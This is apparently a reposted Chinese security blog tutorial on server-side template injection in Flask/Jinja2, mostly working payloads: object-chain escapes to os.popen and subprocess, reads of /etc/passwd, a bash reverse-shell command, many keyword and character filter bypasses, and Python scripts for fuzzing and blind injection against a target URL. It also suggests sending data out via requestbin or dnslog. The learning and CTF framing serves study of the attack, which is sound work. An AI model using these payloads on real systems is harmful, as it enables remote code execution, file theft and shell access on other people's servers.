<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SSTI漏洞學習(下)——Flask/Jinja模板引擎的相關繞過

    VSole2021-08-17 17:02:02

    再看尋找Python SSTI攻擊載荷的過程

    獲取基本類

    對于返回的是定義的Class內的話:__dict__   //返回類中的函數和屬性,父類子類互不影響__base__ //返回類的父類 python3__mro__ //返回類繼承的元組,(尋找父類) python3__init__ //返回類的初始化方法   __subclasses__()  //返回類中仍然可用的引用  python3__globals__  //對包含函數全局變量的字典的引用 python3對于返回的是類實例的話:__class__ //返回實例的對象,可以使類實例指向Class,使用上面的魔術方法
    
    ''.__class__.__mro__[2]{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]
    

    此外,在引入了Flask/Jinja的相關模塊后還可以通過

    configrequesturl_forget_flashed_messagesselfredirect
    

    等獲取基本類,

    獲取基本類后,繼續向下獲取基本類(object)的子類

    object.__subclasses__()
    

    找到重載過的__init__

    在獲取初始化屬性后,帶wrapper的說明沒有重載,尋找不帶warpper的

    也可以利用.index()去找file,warnings.catch_warnings

    >>> ''.__class__.__mro__[2].__subclasses__()[99].__init__<slot wrapper '__init__' of 'object' objects>>>> ''.__class__.__mro__[2].__subclasses__()[59].__init__<unbound method WarningMessage.__init__>
    

    查看其引用__builtins__

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
    

    這里會返回dict類型,尋找keys中可用函數,直接調用即可,使用keys中的file等函數來實現讀取文件的功能

    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
    

    常用的目標函數有這么幾個

    filesubprocess.Popenos.popenexeceval
    

    常用的中間對象有這么幾個

    catch_warnings.__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')lipsum.__globals__.__builtins__.open("/flag").read()linecache.os.system('ls')
    

    更多的可利用類可以通過遍歷篩選的方式找到

    比如對subprocess.Popen我們可以構造如下fuzz腳本

    import requests
    url = ""
    index = 0for i in range(100, 1000):    #print i    payload = "{{''.__class__.__mro__[2].__subclasses__()[%d]}}" % (i)    params = {        "search": payload    }    #print(params)    req = requests.get(url,params=params)    #print(req.text)    if "subprocess.Popen" in req.text:        index = i        break
    
    print("index of subprocess.Popen:" + str(index))print("payload:{{''.__class__.__mro__[2].__subclasses__()[%d]('ls',shell=True,stdout=-1).communicate()[0].strip()}}" % i)
    

    那么我們也可以利用{%for%}語句塊來在服務端進行fuzz

    {% for c in [].__class__.__base__.__subclasses__() %}  {% if c.__name__=='catch_warnings' %}  {{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }}  {% endif %}{% endfor %}
    

    一些Trick

    • Python 字符的幾種表示方式
    • 16進制 \x41
    • 8進制 \101
    • unicode \u0074
    • base64 'X19jbGFzc19f'.decode('base64') python3
    • join "fla".join("/g")
    • slice "glaf"[::-1]
    • lower/upper ["__CLASS__"|lower
    • format "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)
    • replace "__claee__"|replace("ee","ss")
    • reverse "__ssalc__"|reverse
    • python字典或列表獲取鍵值或下標的幾種方式
    dict['__builtins__']dict.__getitem__('__builtins__')dict.pop('__builtins__')dict.get('__builtins__')dict.setdefault('__builtins__')list[0]list.__getitem__(0)list.pop(0)
    
    • SSTI 獲取對象元素的幾種方式
    • class.attr
    • class.__getattribute__('attr')
    • class['attr']
    • class|attr('attr')
    • "".__class__.__mro__.__getitem__(2)
    • ['__builtins__'].__getitem__('eval')
    • class.pop(40)
    • request 旁路注入
    request.args.name    #GET namerequest.cookies.name #COOKIE namerequest.headers.name #HEADER namerequest.values.name  #POST or GET Namerequest.form.name    #POST NAMErequest.json         #Content-Type json
    
    • 通過拿到current_app這個對象獲取當前flask App的上下文信息,實現config讀取

    比如

    {{url_for.__globals__.current_app.config}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages.__globals__['current_app'].config.}}{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].cofig}}
    

    Bypass的手段

    在對Jinjia SSTI注入時,本質是在Jinja的沙箱中進行代碼注入,因此很多繞過技巧和python沙箱逃逸是共通的

    {{}}模板標簽過濾

    • {% if xxx %}xxx{% endif %}形式
    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1') %}1{% endif %}
    
    • {% print xxx %} 形式
    {% print ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('bash -i >& /dev/tcp/127.0.0.1/233 0>&1')
    

    關鍵詞過濾

    base64編碼繞過

    __getattribute__使用實例訪問屬性時,調用該方法

    例如被過濾掉class關鍵詞

    {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
    

    字符串拼接繞過

    {{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
    

    利用dict拼接

    {% set a=dict(o=x,s=xx)|join %}
    

    利用string

    比如'可以用下面方式拿到,存放在quote

    {% set quote = ((app.__doc__|list()).pop(337)|string())%}
    

    類似的還有

    {% set sp = ((app.__doc__|list()).pop(102)|string)%}{% set pt = ((app.__doc__|list()).pop(320)|string)%}{% set lb = ((app.__doc__|list()).pop(264)|string)%}{% set rb = ((app.__doc__|list()).pop(286)|string)%}{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}
    

    通過~可以將得到的字符連接起來

    一個eval的payload如下所示

    {% set xhx = (({ }|select()|string|list()).pop(24)|string)%}{% set sp = ((app.__doc__|list()).pop(102)|string)%}{% set pt = ((app.__doc__|list()).pop(320)|string)%}{% set quote = ((app.__doc__|list()).pop(337)|string)%}{% set lb = ((app.__doc__|list()).pop(264)|string)%}{% set rb = ((app.__doc__|list()).pop(286)|string)%}{% set slas = (eki.__init__.__globals__.__repr__()|list()).pop(349)%}{% set bu = dict(buil=x,tins=xx)|join %}{% set im = dict(imp=x,ort=xx)|join %}{% set sy = dict(po=x,pen=xx)|join %}{% set oms = dict(o=x,s=xx)|join %}{% set fl4g = dict(f=x,lag=xx)|join %}{% set ca = dict(ca=x,t=xx)|join %}{% set ev = dict(ev=x,al=xx)|join %}{% set red = dict(re=x,ad=xx)|join%}{% set bul = xhx*2~bu~xhx*2 %}
    {% set payload = xhx*2~im~xhx*2~lb~quote~oms~quote~rb~pt~sy~lb~quote~ca~sp~slas~fl4g~quote~rb~pt~red~lb~rb %}
    

    可以在evalexec語句中使用,如下

    {% for f,v in eki.__init__.__globals__.items() %}     {% if f == bul %}         {% for a,b in v.items() %}            {% set x=a%}            {% if a == ev %}                {{b(payload)}}            {% endif %}        {% endfor %}    {% endif %}{% endfor %}
    

    Python3 對Unicode的Normal化

    比如

    可以繞過數字限制

    同時在python3中會對unicode normalize,導致exec可以執行unicode代碼

    Python的格式化字符串特性

    比如

    '{0:c}'['format'](95){ "%s, %s!"|format(greeting, name) }}
    

    拼接起來有

    {{""['{0:c}'['format'](95)+'{0:c}'['format'](95)+'{0:c}'['format'](99)+'{0:c}'['format'](108)+'{0:c}'['format'](97)+'{0:c}'['format'](115)+'{0:c}'['format'](115)+'{0:c}'['format'](95)+'{0:c}'['format'](95)]}}
    

    getlist

    使用.getlist()方法獲得一個列表,這個列表的參數可以在后面傳遞

    {%print (request.args.getlist(request.args.l)|join)%}&l=a&a=_&a=_&a=class&a=_&a=_
    

    可以獲得__class__

    特殊字符過濾

    過濾引號

    request.args 是flask中的一個屬性,為返回請求的參數,這里把path當作變量名,將后面的路徑傳值進來,進而繞過了引號的過濾

    將其中的request.args改為request.values則利用REQUEST的方式進行傳參

    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
    

    過濾雙下劃線

    同樣利用request.args屬性

    {{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
    
    #GET:{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
    #POST:class=__class__&mro=__mro__&subclasses=__subclasses__
    

    過濾./[]

    這里對獲取元素方法屬性進行了限制,那么我們可以使用上面Trick中介紹的獲取對象元素的幾種方式進行繞過

    比如用原生JinJa2函數|attr()

    request.__class__改成request|attr("__class__")

    同時繞過下劃線、與中括號

    綜合之前的Trick利用就行

    {{()|attr(request.values.name1)|attr(request.values.name2)|attr(request.values.name3)()|attr(request.values.name4)(40)('/etc/passwd')|attr(request.values.name5)()}}post:name1=__class__&name2=__base__&name3=__subclasses__&name4=pop&name5=read
    

    過濾圓括號

    • 對函數執行方式進行重載,比如將
    • request.__class__.__getitem__=__builtins__.exec;那么執行request[payload]時就相當于exec(payload)
    • 使用lambda表達式進行繞過

    對象層面禁用

    • set {}=None

    只能設置該對象為None,通過其他引用同樣可以找到該對象

    {{% set config=None%}} -> {{url_for.__globals__.current_app.config}}
    
    • del
    del __builtins__.__dict__['__import__']
    

    通過reload進行重載

    reload(__builtins__)
    
    • 其他一些小trick

    比如func.__code__.co_consts 可以獲得對應函數的上下文常量

    盲注

    盲注一般有如下幾種思路

    • 反彈shell
    • 通過rce反彈一個shell出來繞過無回顯的頁面
    • 帶外注入
    • 通過requestbin或dnslog的方式將信息傳到外界
    • 純盲注
    • 利用index方法

    Python index() 方法檢測字符串中是否包含子字符串 str ,如果指定 beg(開始) 和 end(結束) 范圍,則檢查是否包含在指定范圍內,該方法與 python find()方法一樣,只不過如果str不在 string中會報一個異常。

    比如

    {{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()|string).index("r",0,3)}}
    

    如果/etc/passwd的第一個字符是r那么就不會觸發異常,如果不是就會觸發異常,根據這個特點可以進行盲注

    如下是一個盲注腳本

    import requestsfrom string import printable as pt
    host = "http://127.0.0.1:8765/"res  = ''
    for i in range(0,40):    for c in pt:        payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1)         param = {            "name":payload        }        req = requests.get(host,params=param)
            if req.status_code == 200:            res += c            break    print(res)
    
    stringflask
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
    再看尋找Python SSTI攻擊載荷的過程。獲取基本類,此外,在引入了Flask/Jinja的相關模塊后還可以通過
    Web框架的請求上下文
    2022-04-21 16:54:48
    最近在研究web框架時,對"請求上下文"這個基礎概念有了更多的了解,因此記錄一下,包括以下內容: "請求上下文"是什么? web框架(flask和gin)實現"請求上下文"的區別? "線程私有數據"是什么? 學習過程 "請求上下文"是什么? 根據 Go語言動手寫Web框架 - Gee第二天 上下文Context[1] 和 Context:請求控制器,讓每個請求都在掌控之中[2] 兩篇文章
    MTCTF-2022 部分WriteUp
    2022-11-23 09:35:37
    MTCTF 本次比賽主力輸出選手Article&Messa&Oolongcode,累計解題3Web,2Pwn,1Re,1CryptoWeb★easypickle題目給出源碼:。import base64import picklefrom flask import Flask, sessionimport osimport random. @app.route('/')def hello_world(): if not session.get: session['user'] = ''.join return 'Hello {}!\x93作用同c,但是將從stack中出棧兩元素分別導入的模塊名和屬性名:此外對于藍帽杯WP還存在一個小問題,原題采用_loads函數加載pickle數據但本題是loads,在opcodes處理上會有些微不通具體來說就是用loads加載時會報錯誤如下:對著把傳入參數換成元組就行,最終的payload如下
    2020 Codegate Web題解
    2022-07-07 08:09:51
    Codegate 還是有很多國際強隊參加的,這里記錄 Codegate 的兩道 Web題。
    在一個充斥著新工具和多樣化開發環境的世界中,幾乎所有開發人員或工程師都有必要學習一些基本的系統管理命令。特定的命令和軟件包可以幫助開發人員組織、排除故障并優化其應用程序,并且在出現問題時為操作員和系統管理員提供有價值的分類信息。 無論你是新開發人員還是希望管理自己的應用程序,以下20個基本的sysadmin命令都可以幫助你更好地理解應用程序。它們還可以幫助你向系統管理員描述問題,并排除應用程序可
    就需要了解一下名稱空間python的名稱空間,是從名稱到對象的映射,在python程序的執行過程中,至少會存在兩個名稱空間。python中一切均為對象,均繼承于object對象,python的object類中集成了很多的基礎函數,假如我們需要在payload中使用某個函數就需要用object去操作。
    強網杯-WriteUp
    2022-08-02 08:02:30
    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag
    XS-Leaks 和 csrf 較為相似。瀏覽器提供了多種功能來支持不同 Web 應用程序之間的交互;例如,它們允許網站加載子資源、導航或向另一個應用程序發送消息。
    Webshell檢測方法
    2022-01-04 10:33:05
    Webshell作為一種web后門,通常由攻擊者通過常見的Web網站漏洞,如sql注入、文件包含和上傳等,上傳到服務器,從而為攻擊者提供與服務器端進行交互的能力。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类